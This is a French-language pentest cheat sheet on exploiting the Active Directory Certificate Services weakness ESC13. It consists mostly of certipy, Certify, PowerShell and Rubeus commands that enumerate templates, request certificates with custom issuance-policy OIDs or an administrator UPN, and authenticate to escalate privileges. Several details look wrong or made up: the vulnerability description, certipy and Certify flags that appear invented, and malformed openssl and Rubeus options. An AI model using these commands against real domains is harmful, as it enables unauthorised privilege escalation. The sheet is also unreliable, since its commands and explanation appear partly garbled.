### Description
ESC13 exploite des modèles de certificats qui permettent l'issuance policy avec des OID (Object Identifier) personnalisés ou mal configurés, permettant à un attaquant de créer des certificats avec des politiques d'émission qui contournent les vérifications d'authentification normales ou d'obtenir des privilèges élevés via des politiques d'émission spécifiques.
### Conditions vulnérables
Un modèle de certificat est vulnérable à ESC13 si :
1. **Issuance Policy mal configurée** - Le modèle utilise des OID d'émission personnalisés ou dangereux
2. **Politiques d'émission contournables** - Les vérifications peuvent être bypassed via des OID spécifiques
3. **Enrollment autorisé** - L'utilisateur a les droits `Enroll` ou `AutoEnroll`
4. **Validation insuffisante des OID** - La CA n'effectue pas de validation stricte des politiques d'émission
---
### Exploitation depuis linux (certipy)
Enumération des templates avec politiques d'émission vulnérables :
```bash
certipy find -u
[email protected] -p password -target dc01.domain.local
# Énumération avec focus sur les issuance policies
certipy find -u
[email protected] -p password -target dc01.domain.local -json -output vulnerabilities.json
# Recherche spécifique des OID d'émission suspects
certipy find -u
[email protected] -p password -target dc01.domain.local -vulnerable | grep -A10 -B5 "Issuance.*Policy\|OID"
```
Exploitation avec OID d'émission personnalisé :
```bash
# Demande d'un certificat avec issuance policy malveillante
certipy req -u
[email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -template 'IssuancePolicyTemplate' -issuance-policy "1.3.6.1.4.1.311.21.8.123456789.1"
# Avec combinaison SAN et issuance policy
certipy req -u
[email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -template 'IssuancePolicyTemplate' -upn
[email protected] -issuance-policy "1.3.6.1.4.1.311.21.8.999999.1"
```
Exploitation avec forge d'OID spécifique :
```bash
# Utilisation d'un OID connu pour bypass
certipy req -u
[email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -template 'PolicyTemplate' -issuance-policy "1.3.6.1.4.1.311.21.8.1.1" -application-policy "1.3.6.1.5.5.7.3.2"
```
Authentification avec le certificat forgé :
```bash
# Authentification avec le certificat contenant la politique malveillante
certipy auth -pfx user.pfx -username user -domain domain.local -dc-ip 192.168.1.10
# Si escalation réussie
certipy auth -pfx administrator.pfx -username administrator -domain domain.local -dc-ip 192.168.1.10
```
---
### Exploitation depuis windows (certify.exe)
Enumération des templates vulnérables :
```powershell
# Énumération des modèles vulnérables
Certify.exe find /vulnerable
# Filtrage spécifique ESC13 - issuance policies
Certify.exe find /vulnerable | findstr "Issuance.*Policy\|OID"
# Vérification manuelle des issuance policies
Get-ADObject -Filter {objectClass -eq "pKICertificateTemplate"} -Properties * | Where-Object {
$_.'msPKI-Certificate-Policy' -ne $null
} | Select-Object Name, 'msPKI-Certificate-Policy'
```
Exploitation du template vulnérable :
```powershell
# Demande d'un certificat avec issuance policy spécifique
Certify.exe request /ca:DC01.domain.local\domain-DC01-CA /template:IssuancePolicyTemplate /policy:"1.3.6.1.4.1.311.21.8.123456789.1"
# Avec OID custom pour bypass
Certify.exe request /ca:DC01.domain.local\domain-DC01-CA /template:PolicyTemplate /policy:"1.3.6.1.4.1.311.21.8.999999.1" /altname:
[email protected]
```
Forge d'OID via PowerShell :
```powershell
# Création d'une demande avec OID personnalisé
$cert = New-SelfSignedCertificate -Subject "CN=user" -KeyUsage DigitalSignature,KeyEncipherment
$oid = New-Object System.Security.Cryptography.Oid("1.3.6.1.4.1.311.21.8.123456789.1")
$extension = New-Object System.Security.Cryptography.X509Certificates.X509Extension($oid, $false, @(0x30,0x00))
# Utilisation avec certreq pour demande personnalisée
certreq -new -config "DC01.domain.local\domain-DC01-CA" custom_request.inf custom_cert.req
```
Authentification avec le certificat obtenu :
```powershell
# Conversion du certificat si nécessaire
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
# Authentification avec le certificat
Rubeus.exe asktgt /user:user /certificate:cert.pfx /password:password123 /ptt
# Test d'escalation si politique malveillante acceptée
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:password123 /ptt
```